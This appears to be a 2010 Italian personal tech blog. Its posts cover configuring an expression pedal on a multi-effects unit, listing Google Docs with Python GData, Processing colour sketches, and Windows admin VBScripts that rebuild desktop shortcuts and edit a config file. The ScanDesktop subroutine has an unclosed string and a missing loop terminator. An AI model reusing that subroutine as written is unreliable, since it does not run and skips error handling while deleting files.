Tramite un pedale di espressione (collegabile direttamente al multieffetto) è possibile controllare uno o più parametri qualsiasi degli effetti. In alternativa, con un controller o pedaliera MIDI se ne possono pilotare fino a quattro.

Per controllare un parametro di un effetto (es. volume, pitch, mix, etc...) con un pedale di espressione (collegato direttamente al multieffetto), si può procedere così:

  • premere il tasto MOD, e scegliere M1 con la rotellina esterna;
  • assegnare M1, con la rotellina interna, a Pedal;
  • premere la rotellina interna;
  • con la rotellina esterna possiamo vedere l'elenco di tutti i parametri controllabili. Per controllare un parametro con il nostro pedale di espressione, assegniamo a questo parametro il nostro buon M1.
  • assegniamo quindi i valori MinOut (valore assegnato al parametro quando il pedale è al minimo), MidOut (valore assegnato quando il pedale è a metà), MaxOut (valore assegnato quando il pedale è al massimo)
Naturalmente con lo stesso pedale è possibile controllare più parametri diversi, anche in contemporanea, ognuno con la sua diversa curva di risposta. So far so good. Non chiedetemi come impostare più di un pedale di espressione: la mia pedaliera MIDI multi-pedale-di-espressione è defunta quando un gruppo di fan è saltato sul palco e... ma questa è un'altra storia. Ma avete visto che figata l'accordatore polifonico della t.c.electronic?

17 mar 2010

Elenco documenti Google Docs

Ed ora un bel post nel quale dimostro che, nonostante i buoni propositi, sono ancora ignorante in fatto di programmazione python e delle API di Google. Ma da qualche parte bisogna pur... continuare.

Come ottenere l'elenco dei documenti di un determinato utente?
#!/usr/bin/env python

import gdata.docs.data
import gdata.docs.client

client = gdata.docs.client.DocsClient(source='yourCo-yourAppName-v1')
client.ssl = True  # Force all API requests through HTTPS
client.http_client.debug = False  # Set to True for debugging HTTP requests
client.ClientLogin(source='yourCo-yourAppName-v1', email='email', password='password')

feed = client.GetDocList()

if not feed.entry:
    print 'No entries in feed.\n'
for entry in feed.entry:
    print '%s (%s)' % (entry.title.text.encode('UTF-8'), entry.GetDocumentType())

Naturalmente è necessario avere installato la libreria GData, scaricabile da http://code.google.com/apis/gdata/.
Il campo source può essere valorizzato con il nome del proprio applicativo - non è obbligatorio, ma è opportuno in fase di debug.

Very very easy, ma ho già qualche bella ideuzza, e questo è un buon punto di partenza!

1 mar 2010

Processing Apollo


Sono sempre rimasto affascinato dai colori degli anni '70, ma non me la sono sentita di rendere la mia casa un pochino troppo scioccante. Non adesso, insomma. Magari più avanti ci penserò.

Per ora, credo di potermi accontentare di decorare allegramente il desktop del mio computer. E quale migliore occasione per sperimentare un po' di Processing?

Per prima cosa, vediamo di ricavare i cinque colori utilizzati nella figura, ad esempio in formato RGB, e per questo basta un qualsiasi programma di grafica:

int larghezza_figura = 100;
int altezza_figura = 100;

size(larghezza_figura*5, altezza_figura);
smooth();
noStroke();

pushMatrix();
fill(110, 50, 22); // colore 1
rect(0, 0, larghezza_figura, altezza_figura);

translate(larghezza_figura, 0);
fill(226, 180, 25); // colore 2
rect(0, 0, larghezza_figura, altezza_figura);

translate(larghezza_figura, 0);
fill(220, 115, 0); // colore 3
rect(0, 0, larghezza_figura, altezza_figura);

translate(larghezza_figura, 0);
fill(197, 75, 2); // colore 4
rect(0, 0, larghezza_figura, altezza_figura);

translate(larghezza_figura, 0);
fill(131, 37, 11); // colore 5
rect(0, 0, larghezza_figura, altezza_figura);
popMatrix();

Anche se i colori non sono precisi, va bene lo stesso, ed il risultato è una combinazione molto vintage e molto calda:
Penso che ci saranno molte occasioni in cui potrò riciclarla!

E per le dimensioni dei cerchi, che vanno via via a rimpicciolirsi? La scala non è fissa, e un buon risultato si ottiene partendo da una scala di 0,85 moltiplicata di volta in volta per 0,9. Ecco un esempio:
float dim_figura = 160;
float scala = 0.85;
float varia = 0.9;

size(int(dim_figura), int(dim_figura));
smooth();
noStroke();

pushMatrix();
background(110, 50, 22); // colore sfondo

dim_figura = dim_figura*scala;

fill(226, 180, 25); // colore 2
ellipse(width/2, height/2, dim_figura, dim_figura);

fill(220, 115, 0); // colore 3
scala = scala*varia;

dim_figura = dim_figura*scala;
ellipse(width/2, height/2, dim_figura, dim_figura);

fill(197, 75, 2); // colore 4
scala = scala*varia;
dim_figura = dim_figura*scala;
ellipse(width/2, height/2, dim_figura, dim_figura);

fill(131, 37, 11); // colore 5
scala = scala*varia;
dim_figura = dim_figura*scala;
ellipse(width/2, height/2, dim_figura, dim_figura);

popMatrix();

Le proporzioni ci assomigliano, ma manca ancora qualche cosa:
Sono certo che si possa fare di meglio, ma per ora il codice finale è il seguente:
float dim_figura = 160;
float scala = 0.85;
float varia = 0.9;

size(int(dim_figura), int(dim_figura));
smooth();
noStroke();

pushMatrix();
translate(width/2,height/2);
rotate(radians(45));
background(110, 50, 22); // colore sfondo

fill(226, 180, 25); // colore 2

dim_figura = dim_figura*scala;
ellipse(0, 0, dim_figura, dim_figura);

fill(220, 115, 0); // colore 3
scala = scala*varia;

translate((dim_figura-dim_figura*scala)/2, 0);
dim_figura = dim_figura*scala;
ellipse(0, 0, dim_figura, dim_figura);

fill(197, 75, 2); // colore 4
scala = scala*varia;

translate((dim_figura-dim_figura*scala)/2, 0);
dim_figura = dim_figura*scala;
ellipse(0, 0, dim_figura, dim_figura);

fill(131, 37, 11); // colore 5

scala = scala*varia;
translate((dim_figura-dim_figura*scala)/2, 0);
dim_figura = dim_figura*scala;
ellipse(0, 0, dim_figura, dim_figura);

translate(-width/2,-height/2);
popMatrix();

e il risultato, non sembra niente male!

23 feb 2010

Gestione Collegamenti LNK tramite VBS

È un dato di fatto: i desktop dei PC aziendali sono una schifezza. Sono pieni di collegamenti, magari vecchi ed obsoleti o che puntano al percorso errato.

A volte sono pieni di collegamenti scritti con le maiuscole, o con troppi spazi, o con troppo pochi spazi, oppure capitalizzati senza un criterio logico e comprensibile.

Spesso ancora i collegamenti vengono creati sul desktop (e quindi nel profilo) di ogni singolo utente, mentre a volte se ne starebbero più felici e contenti nel profilo All Users del computer.

Come rimediare ad una situazione del genere, e dare un tocco di pulizia e professionalità ai catorci PC della nostra azienda?
Con un poco di codice VBS, naturalmente!

Casi di utilizzo
Si potrebbero voler eliminare tutti i collegamenti non più necessari, quali ad esempio \\ServerAziendale\Documenti\Incentivi\.

Oppure si potrebbero voler aggiornare dei collegamenti con un nuovo percorso (ad es. i collegamenti ad http://it.wikipedia.org potrebbero essere aggiornati alla nuova versione dell'enciclopedia all'indirizzo http://nonciclopedia.wikia.com).

In questo esempio farò molto di più!

Vado alla ricerca del collegamento ad un determinato programma (\\ServerAziendale\Programma\Start.exe) sul desktop di ogni singolo utente. Se almeno un utente dispone di questo link, li cancello tutti quanti, e ne ricreo uno solo (con il nome bello, pulito, e capitalizzato come si deve) nel desktop di All Users.

The Code
Set Start_Exe = CreateObject("System.Collections.ArrayList")

La variabile Start_Exe conterrà tutti gli eventuali link al nostro programma.
Rem *** Ricerca in tutti i profili ***

Const HKEY_LOCAL_MACHINE = &H80000002
Const HKEY_USERS         = &H80000003

strComputer = "."

Set objRegistry = GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
Set ws = CreateObject("Wscript.Shell")
Set oFs = CreateObject("Scripting.FileSystemObject")

strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList"
objRegistry.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubkeys

For Each objSubkey In arrSubkeys
  strValueName = "ProfileImagePath"
  strSubPath = strKeyPath & "\" & objSubkey
  objRegistry.GetExpandedStringValue HKEY_LOCAL_MACHINE, strSubPath, strValueName, strProfile
  ScanDesktop(strProfile & "\Desktop") ' dispongo del percorso del desktop!
Next

strAllUsersDesktopPath = ws.SpecialFolders.Item("AllUsersDesktop")

rem *** se si vogliono ricreare anche i collegamenti in AllUsers già esistenti,
rem *** decommentare le seguenti righe
'ScanDesktop(strAllUsersDesktopPath)
Il codice precedente legge l'elenco dei percorsi dei profili, a partire dalla chiave HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList. Che fare se il desktop è stato redirezionato da qualche parte? Ci pensiamo un'altra volta, please!


Ed ecco il codice che ricrea i collegamenti:
Rem ***verifica se ci sono collegamenti al programma
If Start_Exe.Count > 0 Then
  Set objShtCut = ws.CreateShortcut(strAllUsersDesktopPath & "\Programma Aziendale.lnk")
  objShtCut.TargetPath = "\\ServerAziendale.dominio.dc\Programma\Start.exe"
  objShtCut.WorkingDirectory = "\\ServerAziendale.dominio.dc\Programma\"
  objShtCut.Save
  Set objShtCut = Nothing

  For Each Lnk in Start_Exe
    Set fl = oFs.GetFile(Lnk)
    fl.Delete
    Set fl = Nothing
  Next
End If

Manca niente? Manca il codice che scansiona ogni singolo Despol:

Sub ScanDesktop(profile)
  If oFs.FolderExists(profile) Then
    Set oFolder = oFs.GetFolder(profile)

    For Each oFile In oFolder.Files
    name = oFile.Name
    if len(name)>4 and UCase(right(name,4)) = ".LNK" then
      Set objShtCut = ws.CreateShortcut(profile & "\" & oFile.Name)
      Select Case UCase(objShtCut.TargetPath)
      Case "\\SERVERAZIENDALE\PROGRAMMA\START.EXE"
        Start_Exe.Add profile & "\" & oFile.Name
      Case "\\SERVERAZIENDALE.DOMINIO.DC\PROGRAMMA\START.EXE
        Start_Exe.Add profile & "\" & oFile.Name
      End Select
      Set objShtCut = Nothing
    End If
End Sub
Naturalmente nella nostra sub ScanDesktop possiamo identificare i collegamenti tramite il metodo che preferiamo.
E naturalmente, come al solito, sto allegramente ignorando molte condizioni d'errore. Ma la vita è troppo corta per la gestione adeguata degli errori. E in VBS non vi è traccia di Try Catch Finally... oppure sì?

17 feb 2010

Sostituzione stringa in un file di testo, in vbs

Va bene, so che questo codice non è proprio originale ma è stato preso qua e là dalla rete e riadattato, e so che ciò mi costerà qualche cosa in termini di - già povero - PageRank.

Ma avevo bisogno di modificare una stringa in un file di sistema all'avvio del PC. Cosa c'è di meglio di uno script VBS per fare il lavoro? E per distribuirlo, le buone vecchie policy di Active Directory vanno sempre bene:

Dim WshShell, objEnv
Dim FileContents, dFileContents
Set WshShell = WScript.CreateObject("WScript.Shell")
Set objEnv = WshShell.Environment("Process")

FileContents = GetFile(objEnv("ProgramFiles") & "\ProgrammaCattivo\Config.cfg")
dFileContents = Replace(FileContents, "StringaVecchia", "StringaNuova", 1, -1, 1)

If dFileContents <> Filecontents Then
  WriteFile objEnv("ProgramFiles") & "\ProgrammaCattivo\Config.cfg", dFileContents
End If

Function GetFile(FileName)
  Dim FS, FileStream
  Set FS = CreateObject("Scripting.FileSystemObject")
  Set FileStream = FS.OpenTextFile(FileName)
  GetFile = FileStream.ReadAll
End Function

Function WriteFile(FileName, Contents)
  Dim OutStream, FS
  Set FS = CreateObject("Scripting.FileSystemObject")
  Set OutStream = FS.OpenTextFile(FileName, 2, True)
  OutStream.Write Contents
End Function

E poi, naturalmente, è sempre utile sapere se e quando lo script è stato eseguito per davvero. Magari possiamo aggiungere anche qualche altra informazione di debug, che non fa mai male.


WshShell.RegWrite "HKLM\Software\MiaAzienda\Init_Settings_Eseguito", Now(), "REG_SZ"
WshShell.RegWrite "HKLM\Software\MiaAzienda\Init_Settings_Sostituzioni", conteggio, "REG_SZ"
etc...

Happy scripting, guys!

8 feb 2010

Motion Graphics

Bello il mondo WYSIWYG, ma devo ammettere di essere sempre rimasto affascinato dalla possibilità di scrivere un programma via codice e vederlo poi girare, dal buttare giù una pagina Web in HTML/CSS e vederla generata a video, dall'impaginare un documento con LaTeX pronto per essere compilato e stampato.

Forse non è un caso che mi sia avvicinato alla Computer Music tramite i Tracker!

E forse è per questo che mi sono affezionato al pacchetto Office: c'è qualche cosa di magico nel riempire un file di testo di dati o parole, scrivere un programma VBA che lo interpreta, e vedere che si genera a video un bel foglio Excel o un bel documento di Word od un grafico in Visio, con un livello di perfezione irraggiungibile con il solo mouse! Ehm forse sto esagerando? Ovviamente so che nessuno utilizza Office così!

Ma noto con piacere che Google, con le sue Google Documents List Data API, e tutte le altre API, sta andando nella giusta direzione...

Così, devo dire di aver trovato molto interessante l'articolo Beautiful Motion Graphics Created With Programming: Showcase, Tools and Tutorials tratto dall'ottimo Smashing Magazine. Mi si potrebbe aprire un nuovo mondo!

Tra tutti i programmi sto giocando un pochino con Processing e nel frattempo... se avrò un po' più di tempo libero ho capito a che cosa mi dovrò dedicare nella prossima vita.